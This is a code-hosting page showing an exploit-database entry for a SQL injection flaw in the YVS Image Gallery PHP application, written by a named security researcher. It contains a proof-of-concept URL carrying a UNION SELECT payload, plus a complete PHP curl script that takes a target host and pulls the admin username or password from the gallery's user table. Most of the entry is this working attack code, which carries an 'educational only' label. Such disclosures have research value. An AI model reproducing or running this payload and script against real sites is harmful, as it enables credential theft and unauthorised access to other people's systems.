PageRenderTime 35ms CodeModel.GetById 11ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/18526.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 91 lines | 88 code | 3 blank | 0 comment | 0 complexity | 18ca77872605dd07e2a944c2aff30d67 MD5 | raw file
Possible License(s): GPL-2.0
  1. -=[+] Application: YVS Image Gallery
  2. -=[+] Version: 0.0.0.1
  3. -=[+] Vendor's URL: http://yvs.vacau.com/gallery.html
  4. -=[+] Platform: Windows\Linux\Unix
  5. -=[+] Bug type: Sql INJECTIONS
  6. -=[+] Exploitation: Remote
  7. -=[-]
  8. -=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
  9. -=[+] Facebook: https://www.facebook.com/CorryL
  10. -=[+] Twitter: https://twitter.com/#!/CorradoLiotta
  11. -=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
  12. -=[+] +Google: https://plus.google.com/u/0/109396477464303670923
  13. ...::[ Descriprion ]::..
  14. This is a small database driven gallery created to be implemented
  15. within your existing site.
  16. The coding is reasonably straight forward and can be easily moved into
  17. your existing development
  18. by anyone with basic understanding of PHP.
  19. Only a first attempt at the system has a long way to go,
  20. but it provides you with all the necessary tools to run your own
  21. picture gallery,
  22. such as uploading of multiple images and creation of thumbnails.
  23. The gallery is distributed as free-ware but if you decide to use it in
  24. any business or just decide that it's worth it,
  25. any donations will be greatly appreciated. details will be made available soon.
  26. ...::[ Bug ]::..
  27. exploiting this bug a remote attaker is able' to go up again to user
  28. name and admin password
  29. ...::[ Proof Of Concept ]::..
  30. http://Server-Victim/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20username%20FROM%20user
  31. ...::[ Exploit ]::..
  32. #!/usr/bin/php -f
  33. <?php
  34. #
  35. # view_album.php curl exploit
  36. #
  37. // Created by Corrado Liotta Aka CorryL
  38. // For educational only
  39. // use php exploit.php 127.0.0.1 username for admin username o
  40. password for admin password
  41. $target = $argv[1];
  42. $info = $argv[2];
  43. $ch = curl_init();
  44. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  45. curl_setopt($ch, CURLOPT_URL,
  46. "http://$target/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20$info%20FROM%20user");
  47. curl_setopt($ch, CURLOPT_HTTPGET, 1);
  48. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
  49. 5.01; Windows NT 5.0)");
  50. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  51. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
  52. curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
  53. curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
  54. $buf = curl_exec ($ch);
  55. curl_close($ch);
  56. unset($ch);
  57. echo $buf;
  58. ?>
  59. ..::[ Disclousure Timeline ]::..
  60. [23/02/2012] - No Vendor Information
  61. --
  62. Corrado Liotta A.k.a (CorryL)
  63. Email: corryl80@gmail.com
  64. Slype: corrado_liotta
  65. Facebook: http://www.facebook.com/home.php/CorryL
  66. Twitter: https://twitter.com/#!/CorradoLiotta
  67. Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
  68. Specialist in:
  69. Bug Hunting
  70. Security Audits
  71. Penetration Test